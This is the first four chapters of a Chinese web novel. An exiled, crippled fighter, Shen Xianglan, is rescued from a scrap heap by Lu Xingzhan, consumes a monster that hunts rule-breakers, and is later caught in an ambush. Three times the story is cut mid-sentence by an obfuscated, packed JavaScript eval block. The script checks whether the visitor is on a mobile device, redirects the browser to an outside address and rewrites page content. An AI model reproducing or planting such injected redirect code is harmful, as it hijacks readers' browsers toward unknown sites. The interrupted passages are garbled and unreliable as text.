《落魄大佬驯养实录》 1. 初逢 雨夜,冰冷漆黑,风急雨骤。 雨水落在身上一路冲刷,沈相兰的感官逐渐复苏,身上尖锐绵延的痛像余烬里生出的火,冰冷的雨水隔着一层落在身上,半热半冷,两重冰火。 她费力睁开眼睛,第一眼看见的是昏黑夜空,雷光乍现,短暂照亮翻涌的铅灰色云层。 这就是外七区,她的流放之地。 沈相兰尝试活动身体,在经历一番尝试之后,沈相兰确认她现在彻底废掉了。 这在沈相兰的意料之中,她太清楚中心区那些人的心思了,以战力闻名的人最终变成残废,实在是一个很有戏剧性的结局。 沈相兰自己都想笑,可惜现在她唯一能活动的部位就是眼睛。 外七区的雨很大,雨水冰冷寒凉,雨滴垂直落入沈相兰的眼中,她却不愿意合上眼睛。 外七区名义上归属人类现存四大区内,但中心区与外七区并没有建立链接。 区与区之间隔着“墙”,中心区的人不愿意花大代价破开外七区的“墙”,在沈相兰的强压之下,也只是破开了一个单向传递用后即毁的口子。 革职被废之后,沈相兰却被流放到了她心心念念的外七区。 这里很安静,没有雨声之外的其他声音。 天上雷蛇舞动,铅灰色的云层时隐时现,雨声沸腾,铺满每一个角落。 也不知过了多久,悠扬的钟声冲破厚重的雨幕,从遥远之处传来。 沈相兰全身上下只有眼睛还能转动,之前长期战斗的本能还残留在躯体之中,她在听到声响之后下意识看向声音发出的地方,可她已经无法控制肢体了。 她现在是个废人,不能自己活动。 外七区寂静到了一种不合常理的地步,但这里还是有人类生存的。 钟声明显是人类的造物。 只要这里还有人类,沈相兰就有机会摆脱现在的处境。 在沈相兰思考之时,继钟声之后,不远处传来一个爆炸声,声音很大,她能感受到地面传来的震颤。 与之前的寂静相比,这两个突兀的声音很明显不合常理。 在这一时期,一切不符合常理的举动都能在怪物身上找到答案。 这个世界存在怪物,正常情况下人类无法看见怪物。 除非触犯规则。 触犯规则就会招惹怪物,血红的规则线链接人类和怪物,怪物将顺着规则线来猎杀人类。 沈相兰的视野中出现了一根血红的线,向漆黑未知的远方延伸。 她触犯了规则。 这本来不是什么大事,全胜时期的沈相兰就算触犯规则,也只有怪物绕道走的份。 问题在于,现在的沈相兰并不处于全胜时期。 相反,这是她有史以来最为虚弱的时候。 借助规则线,沈相兰可以感知到怪物的位置。 它很快就会过来。 外七区很大,怪物在飞速移动,但距离沈相兰仍有一定距离。 她有些怠倦地闭上了眼睛,任由雨水在脸上冲刷。 失去视觉之后,一些模糊的感官变得清晰起来。 今夜不仅是沈相兰触犯了规则,在感知之中,还存在另一个人。 怪物的规则线让他们之间出现了短暂链接,这种链接是双向的。 沈相兰能感知到对方,对方也能感知到沈相兰。 那人所在的位置,跟刚刚爆炸声的位置很是接近。 很凑巧,在沈相兰急需帮助的时候,一个倒霉蛋自己送上门来了。 “救我,你知道我的位置。”她对另一个触犯规则的人说。 陆行湛的屋子刚刚被炸成废墟,他好不容易跑出来,狼狈站在雨中,浑身湿透。身后的漆黑冒烟的建筑废墟,身前血红的规则线向不知名处延伸,目之所及之处是死寂的红与黑。 他还没回过神来,就听见耳边出现一个冷淡锐利的女声。 声音主人是一个年轻女性,很冷淡,一副高高在上的模样,把求救说出了命令的口吻。 他低头拨动规则线,那条线明明清晰可见,却不可被实体触摸。 “姐们,你是不是搞错了什么,先不说我凭什么救你,我能拿什么救你?”陆行湛深吸一口气,只感觉自己被小人暗害撞上了怪物又遇见了鬼。 他觉得自己也是心态好,人生乱成一团浆糊了还有空跟人聊天。 好吧,也可能是没招了,横看竖看都没有活路,已经无所谓了。 “过来,救我。” 沈相兰再次重复。 陆行湛的眉头拧了起来。 年轻女人给他的感觉很奇怪,她是通过规则线与陆行湛对话的,总所周知,连上规则线就说明人要没了。 她在这种情况下跟陆行湛求救,是想让陆行湛救个什么? 感谢怪物带来的链接,他能感知到规则线另一端年轻女人的情绪。 陆行湛的人生刚刚走了趟过山车,他的心脏还在剧烈跳动,脑子也不太清醒,雨水冰冷,他的血液却有了沸腾的趋势。 不知道那个女人的处境如何,她的情绪似乎有感染性,陆行湛深勉强压下了狂乱的心跳。 “行,你等会,我过去找你。”陆行湛说,“您老人家要是不嫌麻烦,不如先告诉我怎么救你,我可没救过人。” “你过来就行。”沈相兰说。 陆行湛耐着性子聊了几句,如果不是怪物的规则线系在他身上,他一定会觉得这是一场恶作剧。 他给气笑了,但转念一想,反正离死不远,与其在这里站着淋雨,不如去看看那个姐们是啥情况。 这样想着,陆行湛翻出来他的小破三轮车,就朝着沈相兰的方向疾驰而去。 怪物一直听着他们的对话。 它很想笑,没办法,人类在怪物面前大多渺小无助,没有能力又看不清自己的位置,最终只会沦为怪物的食粮。 但怪物的规则已经很久没人触犯过了,它决定原谅这两个愚蠢的人,给他们一个痛快。 昏黑雨夜中,惊雷骤然划过,却没刺开浓重的雾色。 沈相兰骤然睁眼,雨水从她眼睫划过,偏冷色调的棕色眼睛映出了天上漆黑的影子。 那是怪物。 沈相兰杀过无数怪物,绝大多数怪物都是一团看不清形状的黑雾,它们有五官,但沈相兰只能看见它们亮如灯笼的红色眼睛。 这只怪物与她以往猎杀的怪物没有什么太大区别,沈相兰粗略扫一眼就可以判断它的实力。 一只中等偏下实力的怪物,没什么戒心,很好解决。 怪物不知道沈相兰心中所想,它灯笼一样大的眼睛贴近沈相兰,仔仔细细打量着她。 这就是一个年轻女人,她受了很严重的伤,身上的血一股一股往外流,都快把这座垃圾山染红了。 怪物一般不会仔细打量猎物,它只会欣赏猎物脸上绝望的表情。 眼前这个女人是个特例,她的血液闻起来很香。 怪物这股血气诱惑到了,它忍不住低头,尝了一点与雨水混合的血水。 这股味道瞬间就俘获了它的全部心神,让怪物把理智都丢掉了。 沈相兰冷眼看着它的举动。 怪物身上的黑色雾气丝丝缕缕分散开来,它贪婪吸食着沈相兰身上流出来的血,灯笼一样猩红的眼睛立在沈相兰视野正上方,通过它的眼睛,沈相兰才发现自己原来处在一座垃圾山上。 垃圾山也许不算准确用词,但也没差多少,无数金属废品堆积成了一个小型山峰,沈相兰就挂在尖锐的金属废墟上。 怪物的眼睛很大,除去金属废墟之外,沈相兰还能看见一些别的东西。 例如远处不断清晰变大的黑点。 陆行湛远远的就看见了远处金属废墟堆上遮天蔽日的庞大黑影。 那是怪物,更糟糕的是,怪物和年轻女人的位置叠在一起。 他踩了一脚刹车,停了下来。 陆行湛心想这女人不会以为怪物一次只猎杀一个人吧,她难道觉得他过来了猎物就会把她放了? 都这样了还有求救的必要吗,闹着玩呢! 沈相兰不知道陆行湛为什么停下,她再次开口,让陆行湛过来。 陆行湛没动。 没办法,怪物的规则线实在是个诡异的东西,不仅可以感知距离,还可以感知情绪。 陆行湛一停下来,就感知到了那边人类和怪物的情绪。 发号施令的年轻女人沉静得像无风的海面,海水底下是看不见的暗潮汹涌。怪物的情绪更是奇怪,它的情绪在短时间内变了好几次。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16449185|185245||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>陆行湛读不出怪物的情绪,但女人的情绪却令她觉得不安。 正常人面对怪物会那么平静吗? 都不怕怪物你还求救个什么啊,这年头哪有比怪物更严重的威胁? 不对啊,她不怕怪物,她还求救,看着也不是不想活的样子,总不能是她能解决怪物吧? 陆行湛在来的路上还没怎么思考,现在稍微动了动脑子,他又想笑了。 很好笑,这个猜测居然带了几分合理性。 陆行湛的出现短暂换回了怪物的理智。 甜美的血液滋味迷惑了它的心智,等到怪物回过神来,发现它的躯体正化作无形水流,涌入垃圾堆上年轻女人的身体之中。 这是怎么回事? “你干了什么,快放开我!”怪物第一次遇见这种情况,它试图抵挡,却发现他无法阻止沈相兰的动作,也不能阻止自己的消减。 怪物被刺激到了,开始疯狂大喊大叫,它的声音尖锐扭曲,刺得陆行湛耳多发疼。 这是怎么回事? 陆行湛心里满是疑虑,根据规则线传来的信息,他能判断出怪物是弱势方。 他彻底不敢动了,陆行湛发现他刚刚猜对了,那个语焉不详只会发号施令的年轻女人似乎真的可以解决怪物。 “过来救我,这是我最后一遍重复。”沈相兰再次下令。 陆行湛还没从震惊中回神,但是他的本能越过大脑,麻溜地朝着沈相兰的方向疾驰而去。 怪物此时的状态很不妙,它第一次遇到这种情况,根本不知道怎么解决。 它死死盯着沈相兰,猩红的眼睛在她脸上投下光晕,带着冷光的棕色瞳孔被蒙上一层红色阴影,衬得她的眼睛像一颗彩色玻璃珠。 怪物这才意识到,眼前这个女人有些过于冷静了,从开始到现在,她的情绪一直没变过。 “你到底是什么东西,你不是人类,人类根本没有猎杀怪物的能力!”怪物质问沈相兰,沈相兰超出了它之前对人类的所有认知,之前无往不利的手段在沈相兰这里全部失效,没有东西能阻止对它进行猎杀。 它成了沈相兰的猎物! “我们商量一下,我不猎杀你,你也不猎杀我,我们就当没有见过行吗?”怪物好声好气跟沈相兰商量,它非常识时务,在短短几分钟内,它收起了怪物一贯的尖锐扭曲声线,努力让自己变得和善。 沈相兰没回答他,也没停下吞噬的动作。 怪物好声好气说了很长一段话,见没有效果,它又开始咒骂起来。 在这个时候,它看见了陆行湛。 怪物亮如灯笼的眼睛骤然转动,视线对准了金属山下的的年轻男人。 “你,就是你,你快上来把这个女人杀了,你杀了她我就放过你!” 陆行湛没料到这种情况,他此时走到了金属废墟堆下。 在高高耸起的金属废墟堆上,一团巨大的阴影在上空盘踞,猩红的双眼从黑雾般浓稠的身躯里探出,直直落在陆行湛身上。 他抬头看去,在怪物如云遮日的身躯底下,垂下了一条手臂。 那一看就是一只女性的手,骨骼偏细,肌肉不明显,手臂线条流畅有力。 在陆行湛看见那双手的一瞬间,他感觉到有一个冷淡的视线扫过了他。 真的就是扫过一眼,像是匕首刀刃上的寒光骤然闪过,没有造成实质性的伤害,却将刀光寒凉彻底留在了他的身上。 “你应该知道该选什么。” 陆行湛还没说话,沈相兰冷淡的声线却将怪物的理智彻底燃尽。 “该选什么?她全身都是伤口,就算我不杀她,她也活不了多久,选一个残废货色还是选一只无所不能的怪物,脑子正常的人都知道该怎么选!”怪物嘶鸣怒吼。 沈相兰没说话,陆行湛却感觉自己听到了一丝气音,似嘲似讽。 他心里有了判断。 “我叫陆行湛,不知道你怎么称呼?” 怪物瞬间暴怒。 陆行湛话里的意思很明确了,怪物是没有名字的,只有人类有名字。 他选择了这个残废诡异的女人! “我姓沈。”女人的声音依旧冷淡。 陆行湛看着高高耸起的金属废墟堆,他深吸一口气,开始朝着沈相兰的方向攀爬。 2. 糟糕 金属废墟堆了很高一层,那位姓沈的祖宗挂在最上面,陆行湛往上爬的时候听见了怪物态度转变的全程。 怪物将陆行湛视为救命稻草,但它不太看得上陆行湛,语气高高在上,它说只要陆行湛能把沈相兰杀了,它就会放过陆行湛。 这话说了几遍之后,它看陆行湛毫无反应,开出的条件层层加码。现在变成了只要陆行湛能杀了沈相兰,它会心甘情愿被陆行湛驱使。 驱使一只怪物,这确实是个很诱人的条件。 可惜陆行湛没有动摇。 笑话,沈姓女人明摆着能杀死一个怪物,陆行湛只要脑子正常就不会选择站在怪物这边。 威胁到怪物的是沈姓女人,要是沈姓女人没了,怪物会马上把陆行湛杀了。 陆行湛自认脑子没问题,它当然不会听怪物的。 怪物威逼利诱挑拨离间都用尽了,但猎杀他的女人一如既往,下面那个爬上来的更是无动于衷。 怪物怒了。 “我对付不了这个残废女人,我还对付不了你了!”怪物尖叫,它彻底转头,两只灯笼大的眼睛对准了陆行湛,“我要在被杀之前将你猎杀,我要带着你一起坠入深渊!” 陆行湛攀爬的动作一顿,不是,我们没那么大仇吧? 现在不是说这个的时候,陆行湛看着怪物黑屋般的躯体发疯一样朝着他涌过来,当即大叫:“沈女士,祖宗,你不是让我救你吗,您老先救救我!” 陆行湛的叫声比怪物更为响亮,怪物临终前爆发的哀嚎尖叫动静也不算小,深夜里雨声不断,几个声音叠加在一起,不仅刺破了黑夜,还刺破了沈相兰的耳朵。 “安静,别大叫,你不会有事。”沈相兰说。 她的风格很明显,带着一些居高临下的冷淡,简单直白单刀直入,冷静犀利,一阵见血。 在她话音落下之后,怪物的叫声戛然而止,它猩红色的眼睛熄灭闪烁,最终消散在无尽雨夜之中。 漆黑的雾气随风飘散,被雨点打落。 陆行湛的话堵在喉咙里,他以为怪物跟女人应该是势均力敌的关系,但女人猎杀怪物的举动过于轻松了。 他在垃圾堆上挂了好一会,才找回来了自己的声音。 “祖……祖宗,您挺厉害的。” 他说完这句话之后,空气里是一片寂静。 很正常,以这位祖宗的性格,回应他才是不正常。 陆行湛尴尬笑了几声,加快了往上爬的速度。 夜晚漆黑,雨水寒凉,金属废墟上有不少尖锐的突起,雨水淋在上面又湿又滑,陆行湛也不说话了,保存体力往上爬。 在即将到达顶峰的时候,他低头看了眼自己的双手,血红一片。 有些血是陆行湛自己的,有些血是年轻女人的。 陆行湛受点伤没什么,他比较好奇年轻女人到底是受了多严重的伤,能流那么多血。 终于,他看见了沈相兰。 她确实是一个很年轻的女性,身型修长,漆黑的发丝被雨水冲刷,像是流动飘摇的水草,血液从她身上不断涌出,被雨水稀释,流得到处都是。 空气里带着雨水血液还有金属的气味,这种味道并不让人好受。 陆行湛愣住了。 他知道女人受了很严重的伤,但是他没想到,女人身上会是这样的伤口。 她身上穿着标准制式的背心和短裤,深红的刀痕从手背开始,一路平滑向上,最终隐匿在袖口布料之下。不只是手臂,她的腿上也有一个一模一样的刀痕。 在刀痕两侧,是狰狞的缝合线。 这绝对是人为的伤痕,陆行湛忽然觉得恐怖,怎么有人在遭遇这种事情之后,情绪还能如此平稳。 陆行湛现在都记得沈相兰平静到冷淡的语气。 她刚刚甚至猎杀了一只怪物。 不是,姐们你都这样了,你那求救语气还拽得跟二五八万一样? 陆行湛脑子里各种想法杂乱纷飞,他晃了晃脑袋,只觉得这声祖宗叫对了。 这没话说,这是真祖宗。 陆行湛小心翼翼把女人扶起来,女人看着是清瘦欣长的身材,但体重跟表象不是一回事,她比陆行湛想象沉了不少。 当然陆行湛没有质疑她体重的意思,他只是觉得自己没办法把人平安带下去。 都到这个地步了,不行也得行。 “祖宗,得罪了,你要相信我没有害你的心思,待会不管发生了什么都不是我的主观意愿,我发誓我尽力了。”陆行湛语气诚恳。 沈相兰不想说话,实际上她也说不了话。 之前沈相兰还没有实感,现在她被一个年轻男人从废墟堆里拽出来扛在身上,皮肤接触的地方感染了对方的体温,粘腻的雨水填充了每一个缝隙。 她第一次发现自己讨厌与人肢体接触,这是一种身不由人的糟糕感。 她现在趴在这个自称陆行湛的年轻男人背上,对方的脊背与她对比算得上宽阔,他调整好几次,才让沈相兰的下巴精准卡在他的左边肩膀上。 陆行湛没有手托住沈相兰的下半身,所以他把外套脱了,勉强把沈相兰绑在了自己身上,他则是扛着重任一步步小心往下爬。 沈相兰能感受到陆行湛身上的蒸腾的热气。 他一直保持着高强度运动,身上的皮肤都是热的,雨水不断冲刷,只有皮肤最表层那一片是冷的。现在沈相兰贴在他的身上,他的体温捂热了沈相兰的皮肤,两人相连处开始发烫,潮湿的雨水也感染了温度,水汽蒸腾,潮湿发烫。 糟糕透了。 她的视线被固定在陆行湛肩上,很明显,陆行湛带着她走下这座金属废墟堆并不轻松,沈相兰能听见他粗重的呼吸声,她的耳朵贴在他的颈侧,她甚至可以听到血液流动的声音和自胸膛传来的,陆行湛急促的心跳声。 如果是沈相兰全盛时期,她想带着一个人下去根本不会那么费劲,最多花个几分钟时间。 沈相兰想,她可能找错人了。 她应该再等一等,换一个身体强壮的求救对象。 陆行湛不知道沈相兰所想,他是真的快累死了。 他粗略估计背上这位年轻祖宗应该有个两三百斤,这是一个可以把他压死的重量,陆行湛自己都没两百斤。 真的,陆行湛觉得自己在挑战不可能。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16449186|185245||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他负重两百斤把人带下来了,还是在雨夜负重带着人从金属废墟堆上带下来了! 在陆行湛双脚沾地的时候,他甚至想给自己颁个奖。 沈相兰早就把眼睛闭上了。 在陆行湛落地之后,她才睁开眼睛。 陆行湛把沈相兰放在了他小破三轮车的后座里。 这辆车叫小破三轮车是有道理的,沈相兰被放上去的时候感觉整个车厢都发出了不堪重负的哀鸣,金属架子摇摇欲坠,顶上的车篷边缘还在渗水。 沈相兰没法说话,也动不了,陆行湛把她从头到脚检查了一遍,除去她身上自带的诡异伤痕,没看见其他伤痕,尤其是被尖锐金属划破的痕迹。 陆行湛自己身上被刮破了好几个口子,在他看见沈相兰身上白白净净没有伤痕的时候,一股自豪感油然而生。 “祖宗,我是不是很好,把你带下来没让你受一点伤。”陆行湛笑着凑过去,把沈相兰摆正。 沈相兰说不了话,实际上那些金属根本没办法划破她的皮肤。 陆行湛只当沈相兰累了,他启动车辆,朝着家的方向开去。 小破三轮车并不是封闭的,发动机的嗡鸣声和机油的味道萦绕在陆行湛身边,他吹着夹杂雨点的风,混沌一晚上的思绪逐渐清晰。 他卷进了一个不得了的事情里面。 沈姓女人的来历绝对不简单,陆行湛在缄默海混那么多年了,他可没在缄默海见到过这种人物,就算她是南泊的人,陆行湛也该知道个大概。 能杀死怪物的人放在缄默海可以跟神仙并排坐,光凭这一点,南泊楼东暗巷扫尾亭的老大都得给把她供起来。 她是怎么沦落到这个地步的? 能把她害到这个地步的人,又是什么来历? 陆行湛自认只是一个平平无奇三好青年,守着废品回收站过日子。 那些并不是他可以参与的事情。 今夜的雨有些大,一直下到现在还没停,陆行湛想得有些出神了,再加上他的车确实有点破,底下车轮似乎碰到了什么东西,轮胎打滑整车侧翻,后面的铁皮车厢啪嗒一下就裂开了,在地上滚了好几圈,撞上另一个垃圾堆才停下。 陆行湛在地上滚了好几圈才爬起来,他被摔得脑子有点发昏,好在他还记得车厢里的沈相兰。 “祖宗,你没事吧,你要相信我不会害你,这是意外!”陆行湛连滚带爬走过去,他小心翼翼掀动车厢上的铁皮,一过去就看见了沈相兰偏冷色调的棕色眼睛。 这位祖宗一直都没什么表情,她似乎很不待见陆行湛,连话语都格外吝啬,哦,她甚至不愿意正眼看他。 当然陆行湛觉得这没什么,因为这位一看就不是一般人,甚至她还救了陆行湛一名,陆行湛对救命恩人一向宽容。 沈相兰的眼睛是棕色调的,又冷又浅,瞳仁外面带着一圈浅黑,像一颗剔透的玻璃珠,带着无机质般的冰凉冷淡。 陆行湛对上她的眼睛,生物本能的危机预警拉响,他下意识哆嗦了一下。 “祖宗,我发誓这真是个意外,我知道你是个病号,我真没有害你的意思!”陆行湛扯出一个带有讨好性质的笑容。 3. 看诊 陆行湛的车没了,他只能把沈相兰背回去。 沈相兰动不了,她没法说话,也没法行动,基于眼前这个场景来看,陆行湛的行为算得上是负责。 这不影响沈相兰的认知,她依旧觉得糟糕。 沈相兰已经开始怀念自己能正常行动的日子了,她可以把陆行湛提着走,而不是像现在这样无能为力。 “祖宗,你这伤是怎么弄的啊,我没见过这种伤,要怎么治啊?”陆行湛拼命找话题活跃气氛。 “我认识一个医生,她应该算医生吧,缄默海能治病的还是太少了,虽然她有些不靠谱,但是她的医术还算不错。” “放心吧祖宗,我真不会害你,信我!”陆行湛说了一堆杂七杂八的废话,但是没等来一句回答。 他意识到了不对劲。 陆行湛不说话了,他背着沈相兰一步一个脚印往家的方向走。 快到家的时候,陆行湛忽然想起来,他家被炸了。 他现在没地方住。 陆行湛不太敢说话,他默默背着沈相兰走到了一处堆放杂物的仓库。 沈相兰的视野有限,她看不见环境全貌,等到陆行湛把她放下来的时候,她才睁开眼睛。 “你睡着了啊?”陆行湛觉得不妙,重伤的人睡着并不是什么好事,容易一睡不醒,虽然这姐们看起来厉害,但她到底还是个病号。 “别睡啊,现在不是睡觉的时候。” 陆行湛心想要带着沈相兰去看一下医生,他在仓库里翻找物品,找到一半他才回过神来看见自己身上滴水的衣物,又看了看被他放在地上的沈相兰。 沈相兰敏锐察觉到了陆行湛的视线。 她有了一种不妙的感觉。 陆行湛朝她走了过来。 沈相兰在思考她之前有没有跟人有过皮肤接触,她想了好一会,确定已知记忆里陆行湛是第一个这样对她的。 沈相兰冷眼看着陆行湛把她提起来,他这次是从腋下把她提起来,掌心的温度比身体其他部位的温度更高,如果沈相兰能动的话,陆行湛早就完蛋了。 可惜她不能动。 陆行湛把沈相兰放到了一张软垫上,他又跑出去,调整了一下机器。 一阵热风扑面而来,把沈相兰的发丝吹得到处乱飞。 “祖宗,我真的很想照顾你,但是我们不是一个性别,我总不能让你穿着湿衣服,只能这样把你烘干了。”陆行湛的语气带着歉意,“您先在这吹着,待会我来给你翻个面。” 沈相兰把眼睛闭上,任风流席卷。 陆行湛翻出来了一个轮椅,电动的,但是鉴于沈相兰的体重,他把轮椅轮轴处的配件换了一下。 换完之后,他给沈相兰翻了个面,等风把她彻底吹干之后,陆行湛把人抱上了轮椅。 沈相兰全程眼睛都没睁开,失去视觉之后,感官会更为灵敏,明明她身上的手术刀口还没好,从里到外的痛意从未停歇,但陆行湛的存在感压过了痛意。 她的表层皮肤被吹得发烫,陆行湛接触到她的皮肤,带来的是冰凉的触感。 他跟沈相兰永远差一层。 陆行湛把沈相兰放在轮椅上之后,发现沈相兰根本立不起来。 她的下半身无法移动,但上半身像是没有骨头一样,整个脊椎都没有支撑,头也是歪东倒西的,黑色的长发到处都是,很是凌乱。 陆行湛皱起了眉头,这不应该。 他凑过去,捏了捏沈相兰的后颈,他确定沈相兰是有骨头的,但后颈出也有诡异的红色伤痕,这块地方皮肤偏薄,刀口周边的颜色艳红如血,缝合线顺着刀口攀爬向上,停在了后脑勺下的一个位置。 之前陆行湛不敢仔细看,现在他仔细看过去,可以确定她身上的伤口是手术伤口。 她身上的刀口平整,陆行湛猜测刀口应该很深,是剖开皮肉刺入骨骼的深度。 她这个样子,像是骨头出问题了。 “祖宗,你现在能说话吗?”陆行湛找了个软枕把沈相兰的脖子固定住,他自己则是半蹲着靠在轮椅边上,一只手扶着沈相兰的后颈,一只手控制着轮椅平衡。 他的距离太近了。 沈相兰能听见他心脏跳动的声音,一下又一下,从皮肤相连的地方传来。 很奇异的感觉,奇异又糟糕。 陆行湛问完之后才发觉自己这个问题有点蠢,他清咳几声,改了措辞:“你不能说话的话就眨一下眼睛。” 沈相兰很配合,陆行湛都没想到她会那么配合。长直边缘微翘的睫毛上下划破空气,那双冷淡的眼睛像漂亮的玻璃珠,很好看,但没什么人气,透着精致物件独有的冰冷疏离。 现在这双眼睛因他的话语而动,陆行湛心里忽然涌上一股情绪,陌生又滚烫。 他想不明白,但眼下却有了判断。 “祖宗,你不是缄默海的人吧,我们这可没听说谁有这种技术,你得做好心理准备,我们这可能治不好你。” 沈相兰心想她从没想过指望外七区的医疗技术。 她又不是病了,她只是换了一副专门用于限制行动的金属骨骼。 陆行湛推着沈相兰进了货车车厢。 “我好像没有自我介绍,如你所见,我是一个废品回收站的老板,条件简陋,您包容一下。” 外面的雨还在下,陆行湛看了看时间,现在是夜晚十一点,即将到白天一点。 陆行湛认识的医生是一个在机械店打零工的野医生,没办法,缄默海很少有就医需求,导致她无法养活自己,只能转行干点其他的事情。 露西在睡梦之中听到了门外哐当的敲门声,她揉着惺忪睡眼开们,看见陆行湛推着一个轮椅站在她门口。 轮椅上坐着一个年轻女人,身上带着诡异的红痕,冷得像外面瓢盆的雨。 “陆行湛?你来找我干嘛,我这没有破烂。”露西迟疑。 “简单介绍一下,这位,我祖宗,沈女士,麻烦你给她看看。”陆行湛示意露西看向沈相兰,露西低头,对上了沈相兰冷淡的棕色眼睛。 她不由自主打了个寒颤。 露西的家里有一个诊所,好吧,曾经有,现在她的诊所已经变成了杂物间。 她没有进行太粗略的检查,没办法,沈相兰身上的手术刀口和缝合线过于扎眼。根据经验判断,她身上不会有其他伤口。 处于一丝说不清道不明的心态,露西取出一把手术刀,刀锋顺着手术伤口探入,再微微撬开皮肉。 不出意料,露西在血肉深处看见了金属光泽。 沈相兰任由露西摆弄,在检查结束之后,露西走出了诊室。 这位医生似乎很忌惮她,全程不敢与她有多余的接触,甚至都不敢与沈相兰对视。 沈相兰想,要是陆行湛也那么有分寸就好了。 诊室太小,陆行湛是蹲在外面等结果的。 露西 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16449187|185245||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走出来时面色沉重,陆行湛刚起身,就听见露西问他:“你是在哪里遇见她的?” 露西的语气很严肃,陆行湛大概能猜出来是怎么个事情:“她出现在我家废品站,伤得挺严重的,是治不好吗?” “不是!你最好尽快与她划清界限,把一切能断开的联系全部断掉,她是一个很危险的人,绝对不是我们可以招惹的。”露西面色阴沉,她的眼睛是不太纯粹的绿色,在暗光下触目惊心。 她在很严肃地警告陆行湛。 “为什么?”陆行湛真有些迷惑了,沈相兰伤得重是真的,陆行湛知道露西没法治好沈相兰,她身上的伤太过诡异,但他没想到露西是这种态度。 她好像知道些什么。 “我不方便跟你多说,总之你最好远离那个女人,如果你想把她留下来,那你最好离我远点。” 露西差点把陆行湛轰出去,她面对陆行湛的时候格外不客气,面对沈相兰的时候倒是收敛不少,是小心翼翼把人推出去的。 陆行湛看了看露西,在看了看沈相兰,顶着被露西杀死的风险,他小心翼翼开口:“露西,你有没穿过的衣服吗,穿过的也行,麻烦你给她身上擦洗一下再给她换一身衣服……” 顶着露西杀人的目光,陆行湛的声音越来越小,但他还是倔强地说完了。 露西不情不愿,沈相兰更是认为没有必要。 但是陆行湛把诊所门一关,室内只留下了沈相兰跟露西。 露西很想杀了陆行湛,她忍着杀心给沈相兰简单清洁了一下,再给她换了身没穿过的干净衣服,礼貌把沈相兰送出去之后,干脆利落地关门,门板差一点落在陆行湛的脸上。 回程的路上,陆行湛没把沈相兰送去货车车厢里面,而是把沈相兰抱上了车,让她躺在了货车驾驶位后座上。 借着后视镜,陆行湛能看见沈相兰的脸。 “祖宗,你刚刚是不是听到露西跟我说的话了?”陆行湛问。 沈相兰确实听到了。 如果可以,她希望陆行湛能把露西的话听进去,离她远点。 很显然,看陆行湛这个模样,他根本没听进去。 沈相兰不止听见了露西的话,她还听到了一些其他东西。 陆行湛对沈相兰的认知有限,没办法,谁让这姐们现在不能说话也不能动,他都没途径了解。 “对了,我跟你说一下现在的情况吧,不出意外在未来很长一段时间里,我们都会绑在一起。” 沈相兰并不认同这一观念,但碍于她现在没办法反抗,只能被迫默认。 “这里是缄默海,有南泊、楼东、暗巷、扫尾亭四个区域,现在我们在楼东边缘,忘了说,我跟楼东一伙人有点仇。” “缄默海有一条不成文规矩,不能利用规则害人,祖宗你刚才杀死的怪物,它的规则是夜晚九点必须睡觉,那群人在我家装了炸药,之后的事情你都知道了。” 原来如此。 陆行湛目视前方,即使没有回应,他一个人自顾自说话也能聊下去。 他说得过于投入,没注意到周边的一些声响。 沈相兰之前一直是闭着眼的,陆行湛忽然发现她把眼睛睁开了,冷色调浅棕色的眼睛出现在后视镜中,还是一如既往的冷静平淡。 陆行湛不明所以,他总觉得沈相兰睁眼意有所指。 很快他就明白了,又是一个爆炸声,这次的声音是从车底下传来的。 4. 怪物 陆行湛的货车还算结实,没被炸翻,但车厢晃动。 他自己系着安全带还算好,沈相兰躺在汽车后桌差点直接飞出去了。 “祖宗您没事吧?”陆行湛着急往后看,但他刚回过头去,面前的挡风玻璃就被人砸碎了。 这下好了,沈相兰有没有事不知道,他是真有事了。 “陆行湛,你命还真大,居然还活着!”一个年轻男人从玻璃裂口爬进来,看见陆行湛颇有些意外地挑了挑眉,“怪物还没来猎杀你吗?” 年轻男人陆行湛认识,姓张,他手下都叫他张哥,陆行湛被他针对许久,还不知道他全名是什么。 “不是,我们到底有什么仇,你们楼东的人用规则杀人,这事传出去你们别在缄默海混了!”陆行湛抡起铁质保温杯朝着年轻男人头上砸去。 沈相兰看不见具体情况,驾驶位那边响了几声之后,陆行湛被人扯了下去。 他叫声很响亮,估计摔得挺惨。 陆行湛确实打不过对方。 他被张哥从车上踢下去,在地上滚了好几圈之后勉强爬了起来。 远方传来车辆的声音。 张哥没发现被甩到汽车坐垫下面夹缝里的沈相兰,他从车上往下看,看见陆行湛准备爬起来,当即跳下去,又一脚把他踩回原地。 